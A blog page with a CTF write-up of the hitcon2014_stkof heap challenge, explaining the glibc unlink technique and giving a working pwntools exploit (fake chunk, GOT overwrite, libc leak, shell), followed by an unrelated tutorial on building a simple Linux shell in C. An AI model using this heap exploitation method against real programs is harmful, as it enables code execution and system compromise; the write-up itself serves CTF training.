WriteUp--hitcon2014_stkof

warning
免责声明

本文所述 PWN 均属 CTF(Capture The Flag)参赛行为或赛前训练行为.笔者所 PWN 的对象均为 CTF 比赛或练习中平台方提供的靶机.
本文意在分享网络安全与 CTF 相关技术与技巧,共同提升实力.
请本文读者谨记相关法律法规与政策.读者需为自身行为承担相应的法律后果.笔者(Y7n05h)不为读者的行为承担责任.

先复习一下什么是 Unlink.

这是 Glibc 2.23 中 Unlink 相关的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect(FD->bk != P || BK->fd != P, 0)) \
malloc_printerr(check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range(P->size) && \
__builtin_expect(P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) || \
__builtin_expect(P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr(check_action, \
"corrupted double-linked list (not small)", P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

可以看到所谓 Unlink 主要就是双向链表的删除操作.但 Unlink 与普通的双向链表删除操作相比多了检查链表完整性抵御数据结构损坏与恶意攻击的 Checks.
info
INFO
下面对 Unlink 的讲解基于 x86_64 GNU/Linux 环境.

通过 Unlink 操作,能修改指向 Chunk 的指针.
假设现在有 mchunkptr pr 指向一个 chunk,且 &pr 的值已知为 t

1
2
mchunkptr pr = (char *)malloc(0x30) - 0x10;
mchunkptr *t = ≺

首先,看看代码就能发现,代码会检测 fd 和 bk 被篡改的情况.那么为了利用其中的漏洞,自然需要绕过这个 check.

1
2
if (__builtin_expect(FD->bk != P || BK->fd != P, 0))                       \
malloc_printerr(check_action, "corrupted double-linked list", P, AV); \

通过设置 fd 和 bk 的值就能绕过这个 check.
1
2
pr->fd=(char *)t-(bk 在 chunk 中的偏移量);
pr->bk=(char *)t-(fd 在 chunk 中的偏移量);

也就是
1
2
pr->fd=(char *)t-0x18;
pr->bk=(char *)t-0x10;

再看这里:
1
2
FD = P->fd;
BK = P->bk;

上面的绕过操作中,fdbk 有明确的要求,那么就能得到:
1
2
FD = (char *)t-0x18;
BK = (char *)t-0x10;

看到这里,将发现:
1
2
FD->bk == *(void **)t == P ;
BK->fd == *(void **)t == P ;

这便实现了对 __builtin_expect(FD->bk != P || BK->fd != P, 0) 的绕过.
如果读者对上述的绕过操作没能理解,那么不妨将设置的 fdbk 的值带入上面的 check 试试,或许对此会有新的理解.

那么到了双向链表的删除操作,

1
2
FD->bk = BK;
BK->fd = FD;

用上面的结论,这里的语句实质上就是:
1
2
*(void **)t = (char *)t-0x10;
*(void **)t = (char *)t-0x18;

这两次修改的最终效果自然只是:
1
*(void **)t = (char *)t-0x18;

回想 t 的定义:
1
mchunkptr *t = ≺

哦,那么也就是:
1
pr = (char *)&pr-0x18;

这就是 Unlink 的利用的核心部分了.值得注意的是:上面的讲解中,反复出现了 Ppr,或者这两者会使读者产生混淆.需要说明的是:prP 是无关的两个指针,对 Unlink 的整个利用过程也与 P 无关,只有 pr 需要被关注.

总结一下刚才得到的结论:

1
2
3
4
mchunkptr pr = (char *)malloc(0x30) - 0x10;
mchunkptr *t = ≺
pr->fd=(char *)t-0x18;
pr->bk=(char *)t-0x10;

然后想办法触发对 prUnlink 就能使:
1
pr = (char *)&pr-0x18;

那么现在阻碍对 Unlink 的利用的就是「如何触发对 pr 指向的 chunk 的 Unlink 操作呢?」
可以通过 free 一个不进入 tcachefastbinchunk,触发对其相邻的 chunk 的 Unlink.下面是 Glibc 2.23 中 _int_free 的部分源码.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long)prevsize));
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);

那么另一个问题是:「如何控制 pr->fdpr->bk 呢?」
很简单,通过伪造一个 chunk 即可.
请看下面的例题.

hitcon2014_stkof

通过分析简单的分析能写出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.os = "linux"
context.arch = "amd64"
context.log_level = "debug"
path = "/home/admin/Downloads/stkof"
libc = ELF("/home/admin/pwn/buulib/libc-16.2.23-64.so")
elf = ELF(path)
r = remote("node4.buuoj.cn", 28436)


def i2b(n: int):
return bytes(str(n), encoding="ascii")


def alloc(size: int):
r.sendline(b"1")
sleep(0.5)
r.sendline(i2b(size))
r.recvline()
r.recvuntil(b"OK\n")


def edit(idx: int, size: int, context: bytes):
r.sendline(b"2")
sleep(0.5)
r.sendline(i2b(idx))
sleep(0.5)
r.sendline(i2b(size))
sleep(0.5)
r.send(context)
r.recvline()


def free(idx: int):
r.sendline(b"3")
sleep(0.5)
r.sendline(i2b(idx))
# r.recvuntil(b"OK\n")

下面便利用 Unlink 解出这道题:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Array = 0x602140
# 触发 IO 请求,使 IO 函数完成对输入输出缓冲区的申请,消除对下面代码的干扰,这个这次申请的 alloc 的大小可以是任意值
alloc(0x10) # 1

alloc(0x30) # 2
alloc(0x80) # 3

# 在 2 中伪造了一个大小为 0x20 的 chunk
# 2 是 指向 memory 的指针在 Array 中的下标,也就是 &Array[2] == (char *)Array + 0x10
payload = flat(1, 0x20, Array+0x10-0x18, Array+0x10-0x10,0X20)
payload = payload.ljust(0x30, b"a")
payload += flat(0x30, 0x90)
edit(2, len(payload), payload)
free(3)
r.recvline()

Array[2] 是一个指向 memory 的指针,在这个位置伪造一个 fakechunk 那么 Array[2] 就成为了指向 fakechunkpr&Array[2] == (char *)Array + 0x10 也就是 &pr 对应上文中的 t

1
payload = flat(1, 0x20, Array+0x10-0x18, Array+0x10-0x10,0X20)

这里的前 4 个值分别对应:fakechunk 的 prev_size、fakechunk 的 size、fakechunk 的 fd、fakechunk 的 bk.
问题来了:这里的第 5 个值 0x20 是做什么的?

下面是 Glibc 2.27 中 unlink_chunk 的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0)) \
malloc_printerr("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect(FD->bk != P || BK->fd != P, 0)) \
malloc_printerr("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range(chunksize_nomask(P)) && \
__builtin_expect(P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) || \
__builtin_expect(P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr("corrupted double-linked list (not small)"); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

请关注这里新增了:
1
2
if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))
malloc_printerr("corrupted size vs. prev_size");

这里会比较 chunk 的 size 和 next_chunk 的 prev_size.
1
payload = flat(1, 0x20, Array+0x10-0x18, Array+0x10-0x10,0X20)

这里最后一个值 0x20 用作 fakechunk 的 next_chunk 的 prev_size,来绕过上述的 check.
1
2
payload = payload.ljust(0x30, b"a")
payload += flat(0x30, 0x90)

这里,通过 ljust 将 payload 补齐 0x30 的长度后,flat(0x30, 0x90) 分别修改 Array[3] 指向的 memory 对应的 chunk 的 prev_size 和 size.
为什么要修改这两个字段?

1
#define prev_inuse(p) ((p)->mchunk_size & PREV_INUSE)
1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long)prevsize));
unlink(av, p, bck, fwd);
}

_int_free 中通过 chunk 的 size 中的 PREV_INUSE 判断 prev_chunk 是否需要 Unlink.所以需要将 Array[3] 指向的 memory 对应的 chunk 的 size 中的 PREV_INUSE 取消置位.
又因为 _int_free 通过 prevsize 定位 prevchunk 所以需要修改 Array[3] 指向的 memory 对应的 chunk 的 prev_size 为 0x30 才能对 fakechunk 触发 Unlink.

注意:
在 ptmalloc 的的视角中:Array[3] 的 prev_chunk 是 fakechunk.且 fakechunk 的 nextchunk 是一个 0x20 的 chunk.

至此,题目的 Unlink 部分讲解完成.
剩余部分就是泄漏 puts 的地址,将 atoi 的 got 表中的值修改为 system 的地址.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
payload = flat(0, elf.got['free'], elf.got['puts'], elf.got['atoi'])
edit(2, len(payload), payload)
payload = p64(elf.plt['puts'])
edit(0, len(payload), payload)
free(1)
puts_addr = r.recvline(keepends=False)
r.recvline()

assert(len(puts_addr) == 6)
puts_addr = u64(puts_addr.ljust(8, b"\x00"))
log.success("puts addr success "+hex(puts_addr))
libc_base = puts_addr-libc.symbols['puts']
system_addr = libc_base+libc.symbols['system']
payload = p64(system_addr)
edit(2, len(payload), payload)
r.sendline(b"/bin/sh\x00")
r.interactive()

参考资料

1. Unlink[G/OL].CTF Wiki, https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/.

2:Glibc, https://www.gnu.org/software/libc.

GNU/Linux_C 开发实战--myshell

Linux C 开发实战—myshell

时间过的飞快,不知不觉中离笔者写完myshell已经过了不少时间了.为了进一步的巩固笔者当初从开发实战中学习到的知识,笔者决定还是补上这篇拖延了很久的博客.

需求

  • 支持使用任意数量的 管道
  • 支持使用命令调用其他程序
  • 支持使用任意数量的重定向输入输出
  • 内置 cd 命令
  • 内置 history 命令
  • 支持Tab键 补全
  • 实现光标移动
  • 屏蔽相关信号,防止 Ctrl+C 杀死
  • 界面美观

开发过程

头文件

1
2
3
4
5
6
7
8
9
10
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
#include <readline/history.h>
#include <readline/readline.h>

宏和全局变量

1
2
3
4
5
6
7
8
extern char **environ;
struct COMMAND
{
int argc; //参数数量
int Redirect_FD[3]; //标准输入、标准输出、错误输出的重定向情况
char **argv;
};
char *oldpath;

错误处理

1
2
3
4
5
6
void myerror(char *string, int line)
{
fprintf(stderr, "\aLine:%d,error:\a\n", line);
fprintf(stderr, "%s:%s\n", string, strerror(errno));
exit(EXIT_FAILURE);
}

开发前的分析

  • 多重管道可以使用 分治 的思想逐层处理,化简为单重管道的情况,而单重管道可视为先后发生A >./tmpfileB <./tmpfile 的情况,因此管道和重定向符的实现紧密相关.
  • 重定向符有很多种格式,例如:>>>1>1>>2>2>><<<1>&21>>&22>&12>>&1 ,但这次练习的重点不是字符串的解析,故此笔者不计划实现最后的五种.
  • Tab键 补全、历史记录的存放等功能均由 readline 库实现(感谢GNU Project为此作出的贡献).
  • 界面美观的要求通过输出带有颜色的文字和输出对齐的文本来实现
  • 调用其他程序则涉及进程控制的相关内容

获取并解析用户输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int main(void)
{
read_history(NULL);

while (1)
{
char *command = readline("MYSHELL$");
add_history(command);
write_history(NULL);
launch(command);
free(command);
}

if (oldpath != NULL)
{
free(oldpath);
}
}

通过 readline 库提供的 readline() 函数,便可轻松的输出 命令提示符 并获取用户输入.

将命令拆分成多段

此时,笔者运用著名的 分治 思想,将形如 A -b cde -f | g -hi | j -k lmn >123.txt 的命令以 | 为界线拆成多段,分别处理.

笔者在前文分析过 管道 可以用两个输入输出重定向来实现.
下面分析实现的具体方法,取一条以|符号为界分为 $n$段的命令( $\forall n \in\mathbb N^+, n \geq 3$ )

  1. 考察该命令的第 $1$ 段.管道要求第二段命令的输入为第一段命令的输出.因此可将第 $1$ 段命令的标准输出重定向至临时文件,并将第 $2$ 段命令的标准输入重定向至该临时文件.
  2. 考察该命令的第 $i$ 段( $\forall i \in\mathbb N, 1 < i < n $).该段命令的输入为第 $i-1$ 段的输出,可将第 $i-1$ 段的标准输出重定向至临时文件,并将第 $i$ 段的标准输入重定向至该临时文件;该段命令的输出为第 $i+1$ 段的输入,可将第 $i$ 段的标准输出重定向至临时文件,并将第 $i+1$ 段的标准输入重定向至该临时文件
  3. 考察该命令的第 $n$ 段.该段的输入为第 $n-1$ 段的输出.因此可将第 $n-1$ 段的标准输出重定向至临时文件,并将第 $n$ 段的标准输入重定向至该临时文件.

这就是实现管道的全部流程.

但问题来了,如何处理形如 A -b cde -f >./log.txt | g -hi | j -k lmn <123.txt 的命令?在上段中,笔者分析了第 $1$ 段的标准输入要重定向至临时文件,但命令中却要求重定向至 log.txt
笔者曾考虑复制一份重定向中产生的临时文件至 ./log.txt 或者用 log.txt 代替临时文件的功能,这样就能上例中的冲突.但是请思考这个例子 ls -al >/dev/null |wc -c
这个命令中wc -c命令读的结果根据实现方法会有不同.在笔者的环境中使用 zsh 执行该命令的结果不为 0 ,但使用 GNU bash 执行该命令的结果为 0 .笔者认为类似上面的命令具有 二义性 ,故此笔者的 myshell 实现中对形如 A -b cde -f >./log.txt | g -hi | j -k lmn >123.txtls -al >/dev/null |wc -cls -alR / |grep test <./result.md 这类命令做报错处理,欢迎读者们在评论区留言和笔者讨论这个问题.

好了,至此笔者说明了本程序的绝大部分设定和思想,下面就可以来讨论 launch() 函数的具体实现了.

首先遍历一遍命令,计算命令中的管道数量.

1
2
3
4
5
6
7
8
int pipe = 0; //管道计数器
for (char *pr = command; *pr != '\0'; pr++)
{
if (*pr == '|')
{
pipe++;
}
}

计算出了管道的数量也就知道了命令需要被分成几段.那么就可以根据分段的数量创建一个 COMMAND 的数组.

1
2
3
4
5
struct COMMAND *cmd = (struct COMMAND *)calloc(pipe + 1, sizeof(struct COMMAND));
if (cmd == NULL)
{
myerror("malloc", __LINE__);
}

然后就是将命令分段的实现了.

1
2
3
4
5
6
7
8
9
char *remain = NULL;
char *part = strtok_r(command, "|", &remain);
for (int i = 0; i <= pipe; i++)
{
/* 初始化 */
cmd[i].Redirect_FD[STDIN_FILENO] = -1;
cmd[i].Redirect_FD[STDOUT_FILENO] = -1;
cmd[i].Redirect_FD[STDERR_FILENO] = -1;
}

还记得吗?笔者用 Redirect_FD 表示每段命令中重定向的文件的文件描述符.因为合法的文件描述符都是非负的,那么笔者必须要将 Redirect_FD 中的每个元素都初始化为 -1 才能表达不需要重定向的情况.

tip

TIP

笔者猜会有读者对strtok_r()函数的使用产生疑惑.strtok_r()函数的用法与strtok()函数的用法类似,只是多了一个参数.

这两个函数的函数原型为:

char strtok(char str, const char delim);
char
strtok_r(char str, const char delim, char **saveptr);

简单的说,strtok_r() 是可重入版本的 strtok() ,就是将使用 static 变量保存的数据保存在了参数里,实现了可重入的需求.
至于为什么要用 strtok_r() 而不是 strtok() ?因为后文还有一处有分割字符串的需求,如果都用 strtok() 来实现,那么在第2处调用(指第一个参数不为NULL的第2处调用)会覆盖先前保存在 static 变量中的数据,无法满足笔者的需求.后文会再次重复该问题.

在这之后,分别处理每段命令.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
    for (int i = 0; i <= pipe; i++)
{

if (pipe && i < pipe)
{
/* 生成临时文件 */
char TempFile[] = "/tmp/MyShell_XXXXXX";
int TempFile_FD = mkstemp(TempFile);
/* 检测生成临时文件是否成功 */
if (TempFile_FD == -1)
{
myerror("mkstemp", __LINE__);
}
/* 将本段命令的标准输出重定向至临时文件 */
cmd[i].Redirect_FD[STDOUT_FILENO] = TempFile_FD;
/* 将下段命令的标准输入重定向至临时文件 */
cmd[i + 1].Redirect_FD[STDIN_FILENO] = TempFile_FD;
unlink(TempFile);
//删除临时文件(临时文件在被close前依然可用,不会被立即删除)
}
analyze(part, &cmd[i]);//分析与检测本段命令中的参数与重定向符
if (不是内置命令)
{
执行本段命令
}
if (pipe && i < pipe)
{
lseek(cmd[i].Redirect_FD[STDOUT_FILENO], 0, SEEK_SET);
cmd[i].Redirect_FD[STDOUT_FILENO] = -1;
}
part = strtok_r(NULL, "|", &remain);
for (int IO_Steam = 0; IO_Steam < 3; IO_Steam++)
{
if (cmd[i].Redirect_FD[IO_Steam] >= 0)
{
close(cmd[i].Redirect_FD[IO_Steam]);
//关闭文件,释放相关资源
}
}

for (int j = 0; j < cmd[i].argc; j++)
{
free(cmd[i].argv[j]);
}
free(cmd[i].argv);
}
free(cmd);
}

为了便于读者们阅读和理解,第22行和第23行笔者使用了伪码来描述其中的逻辑.具体的实现将在后文说明.

请读者们注意第28 行,该行将文件的读取位置重置为0.以便下一段命令从文件头读取内容.

29 行,在本段命令执行结束后,将因实现管道产生的重定向中的输出重定向设为-1.为什么要这样做?为了避免 close 临时文件,在第18行已经对临时文件执行了unlinkclose 后临时文件的引用计数递减为0,会导致临时文件被真正的删除,下一段命令将无法完成输入重定向.故此,临时文件只能在完成输入重定向的使命之后关闭.

最终,所有打开的重定向文件都该被将被close

分析处理命令段

首先将正在处理的命令段复制一份,因为在分析中会更改命令段的值.

1
2
3
4
5
char *string = strdup(OriginString);
if (string == NULL)
{
myerror("malloc", __LINE__);
}

tip

TIP

strdup()的用法等于用strlen()计算源字符串的长度后分配为新字符串分配内存空间并完成复制最终返回原字符串的副本的地址.

srdup() 的函数签名为:

char *strdup(const char *s);

在这之后定义变量char *end = string + strlen(string); 作为一个哨兵指向\0,标记string的结束位置,防止指针越界.

下面就是查找命令段中是否含有输入输出重定向,重定向是否合法,以及解析命令行的参数,将其转换为char **argv; 的形式.

处理标准输出、错误输出重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
char *result = NULL;
while ((result = strchr(string, '>')) != NULL)
{
*result = ' ';
int IO_Steam = 1;

result--;
if (result > string && isdigit(*result))
{
if (*result - '0' != STDOUT_FILENO && *result - '0' != STDERR_FILENO)
{
printf("Unknow COMMAND\n");
exit(EXIT_FAILURE);
}
else
{
IO_Steam = *result - '0';
*result = ' ';
}
}
if (cmd->Redirect_FD[IO_Steam] >= 0)
{
printf("Unknow COMMAND\n");
exit(EXIT_FAILURE);
}
result += 2;
_Bool Append = 0;
if (result < end && *result == '>')
{
Append = 1; //附加模式
*result = ' ';
}
while (result < end && isspace(*result))
{
result++;
}

if (result < end)
{
cmd->Redirect_FD[IO_Steam] = OpenFile(result, O_WRONLY | O_CREAT | (Append ? O_APPEND : O_TRUNC));
}
else
{
printf("Unknow COMMAND\n");
exit(EXIT_FAILURE);
}
}

处理输入重定向

有了标准输出、错误输出重定向的处理方式,那标准输入重定向的处理方式也不会很难.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
while ((result = strchr(string, '<')) != NULL)
{
*result = ' ';
if (cmd->Redirect_FD[STDIN_FILENO] >= 0)
{
printf("Unknow COMMAND\n");
exit(EXIT_FAILURE);
}
while (result < end && isspace(*result))
{
result++;
}
if (result < end)
{
cmd->Redirect_FD[STDIN_FILENO] = OpenFile(result, O_RDONLY);
}
else
{
printf("Unknow COMMAND\n");
exit(EXIT_FAILURE);
}
}

解析命令行参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int arg_max = 16; //参数上限,在无法满足需求时会自动增加

cmd->argv = (char **)calloc(arg_max, sizeof(char *));
if (cmd->argv == NULL)
{
myerror("malloc", __LINE__);
}
char *remain = NULL;
result = strtok_r(string, " ", &remain);
while (result != NULL)
{
if (arg_max < cmd->argc)
{
arg_max *= 2; //参数数量上限扩充至原来的2倍
cmd->argv = (char **)realloc(cmd->argv, arg_max * sizeof(char *)); //扩充指针数组大小
}
cmd->argv[cmd->argc++] = strdup(result);
if (cmd->argv == NULL)
{
myerror("malloc", __LINE__);
}
result = strtok_r(NULL, " ", &remain);
}
if (arg_max < cmd->argc)
{
arg_max++;
cmd->argv = (char **)realloc(cmd->argv, arg_max * sizeof(char *)); //扩充指针数组大小
if (cmd->argv == NULL)
{
myerror("malloc", __LINE__);
}
}
cmd->argv[cmd->argc] = NULL; //argv[argv]的值为NULL

好了,这段命令的解析终于是结束了.当然还有一点小小的工作需要完成.free(string); 释放命令段的副本所占用的内存.

打开重定文件

临时文件的打开笔者在上文中已经实现完成.但用户在命令行中指定的重定向文件的打开还需要单独实现.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int OpenFile(char *string, int flags)
{

size_t len = 0;
char *pr = string;
while (!isspace(*pr) && *pr++ != '\0')
{
len++;
}

char *dest = malloc((len + 1) * sizeof(char));
if (dest == NULL)
{
myerror("malloc failed", __LINE__);
}
strncpy(dest, string, len);
dest[len] = '\0';
memset(string, ' ', sizeof(char) * len);
PathAnalyze(&dest);
int fd = open(dest, flags, S_IRUSR | S_IWUSR);
if (fd == -1)
{
printf("error:fd:%d path:%s\n", fd, string);
myerror("open", __LINE__);
}
free(dest);
return fd;
}

传入的string是命令段的副本,这意味着重定向文件的路径后面可能还有以空格分隔的其他参数,这意味这不能直接使用string调用open()

此处,笔者通过计算空格前的字符数量并将其复制到新的字符串中使字符串中只含有重定向文件的路径.

转换相对路径

遗憾的是,至此依然不能把dest字符串直接当作参数去调用open() .莫着急,请听笔者慢慢道来.

在此时,string是重定向文件的路径是毫无疑问的.但路径并不都是可被open() 直接使用的.请参考笔者的前作(命令行参数的误区),文中说明了函数接受的路径只能是绝对路径或以.开头的相对路径.但用户输入的路径却不总是符合这里的要求.而将其他的相对路径格式转换为绝对路径是shell的任务.

思考需要转换的两种相对路径格式.

  • ~/123.md 该类相对路径只需要读取HOME环境变量然后通过简单的字符串拼接就可完成转换.
  • ~root/123.md 该类相对路径的处理更加简单,直接完成拼接即可完成转换.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void PathAnalyze(char **path) //处理~开头的相对路径
{
char *RelativePath = *path;
if (isalpha(*(RelativePath + 1)))
{
*path = malloc(strlen(RelativePath) + 1 + strlen("/home/") + 1);
if (*path == NULL)
{
myerror("malloc", __LINE__);
}
strcpy(*path, "/home/");
}
else
{
char *home = getenv("HOME"); //获得HOME环境变量的值
*path = malloc(strlen(RelativePath) + 1 + strlen(home) + 1);
if (*path == NULL)
{
myerror("malloc", __LINE__);
}
strcpy(*path, home);
}
strcat(*path, RelativePath + 1);
free(RelativePath);
}

至此,只需要根据传入的参数直接调用open()函数便可完成打开.

执行命令段

有了刚才的准备工作,现在是万事俱备了,只需要真正的执行命令段中的命令.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void execute(struct COMMAND *cmd)
{

pid_t pid = fork();
if (pid > 0)
{
wait(NULL);
return;
}
for (int i = 1; i < cmd->argc; i++)
{
#ifndef NDEBUG
printf("DEBUG,pid: %d LINE:%d\n", pid, __LINE__);
#endif
if (*cmd->argv[i] == '~')
{
PathAnalyze(&cmd->argv[i]);
}
}
#ifndef NDEBUG
printf("DEBUG:argv[0]:%s\n", cmd->argv[0]);
#endif
for (int IO_Steam = 0; IO_Steam < 3; IO_Steam++)
{
if (cmd->Redirect_FD[IO_Steam] >= 0 && dup2(cmd->Redirect_FD[IO_Steam], IO_Steam) == -1)
{
myerror("dup2", __LINE__);
}
}
execvp(cmd->argv[0], cmd->argv);
myerror("exec", __LINE__);
}

首先执行fork(),创建子进程,然后子进程根据struct COMMAND的指示完成输入输出的重定向,并在struct COMMAND中找到作为新的进程的调用参数的argv.好了,直接调用即可.如果在未出错的情况下,程序不该执行到 第31行,故在执行到第31行时说明程序已出错.

内置命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
_Bool BuiltInCommand(struct COMMAND *cmd)
{
/* 内建 历史记录命令 */
if (strcmp(cmd->argv[0], "history") == 0)
{
HIST_ENTRY **history = NULL;
history = history_list();
for (int i = 0; history[i] != NULL; i++)
{
printf("%s\n", history[i]->line);
}
return 0;
}
/* 内建 切换工作目录命令 */
if (strcmp(cmd->argv[0], "cd") == 0)
{
if (*cmd->argv[1] == '-')
{
chdir(oldpath);
}
else if (*cmd->argv[1] == '~')
{
PathAnalyze(&cmd->argv[1]);
}
oldpath = getcwd(NULL, 0);
chdir(cmd->argv[1]);
return 0;
}
/* 内建 退出命令 */
if (strcmp(cmd->argv[0], "exit") == 0 || strcmp(cmd->argv[0], "q") == 0)
{
exit(EXIT_SUCCESS);
}
return 1;
}

收尾工作

屏蔽相关信号

1
2
3
4
5
signal(SIGHUP, SIG_IGN);
signal(SIGINT, SIG_IGN);
signal(SIGTTIN, SIG_IGN);
signal(SIGTTOU, SIG_IGN);
signal(SIGTSTP, SIG_IGN);

输出颜色

main() 中,笔者希望命令提示符和当前工作目录的输出为红色.因此对代码做了如下的改动:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int main(void)
{
/* 屏蔽相关信号 */
signal(SIGHUP, SIG_IGN);
signal(SIGINT, SIG_IGN);
signal(SIGTTIN, SIG_IGN);
signal(SIGTTOU, SIG_IGN);
signal(SIGTSTP, SIG_IGN);

read_history(NULL); //调用 readline 库提供的函数,读取历史记录
char Prompt[P_SIZE]; //命令提示符
while (1)
{
strcpy(Prompt, RED);
char *pwd = getcwd(NULL, 0); //getcwd在第一个参数为NULL时会分配内存空间存储工作目录
strncat(Prompt, pwd, 100);
free(pwd);
strcat(Prompt, " MYSHELL$" CLOSE);

char *command = readline(Prompt);
add_history(command); //将读取到的命令添加至历史记录
write_history(NULL);
launch(command); //执行命令
free(command); //readline 为读取的命令分配内存空间,需释放防止内存泄漏
}

if (oldpath != NULL)
{
free(oldpath); //防止内存泄漏和重复释放
}
}

反思

必要说明

笔者在本文中launch()的实现很低效,实际上不先行对管道数量进行计数是完全可行的.
analyze()中不去复制字符串也是完全可行的.
还有,丢弃掉strtok_r(),自己实现查找和分割能比本文中的代码高效不止一点点.
笔者也曾想过是否要把文中的代码做一次重构之后在发出来,这样读者们便能看到一个更好的版本.
但笔者最终没有这样做主要是为了激励自己在日后的程序设计过程中更加深入的思考.当然,笔者相信,这点小小的修改一定难不到聪明的读者们,欢迎读者们修改本文中的代码,实现更高效的程序.

不够友善的错误处理

在本文中,笔者采用了最简单也最不友好的方式处理一切的错误.
但这种处理方式并不总是合理的,例如在myshell中,输入错误的指令导致报错是一个常见但并不致命的错误.但笔者依旧采取了这种最简单的错误处理方式,确实未能人性化的设计程序.

不够合理的调用方式

注意launch()

1
2
3
4
if (BuiltInCommand(&cmd[i]))
{
execute(&cmd[i]);
}

笔者认为此处的设计并不合理,笔者认为更合理的做法可能是将 execute() 交由 BuiltInCommand() 在判断出本段命令不是内置命令之后自动调用,而不是判断BuiltInCommand()的返回至然后在调用execute()


回看近3个月前笔者自己写出的myshell ,笔者不得不承认自己的能力是多么的有限.万幸的是,笔者在这3个月中也得到了足够的提高,才能看出原来写的程序的问题.

测试环境

GNU bash : 5.1.4(1)-release

zsh : 5.8

OS : Arch Linux

Kernel : 5.9.14-arch1-1

附录--完整源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
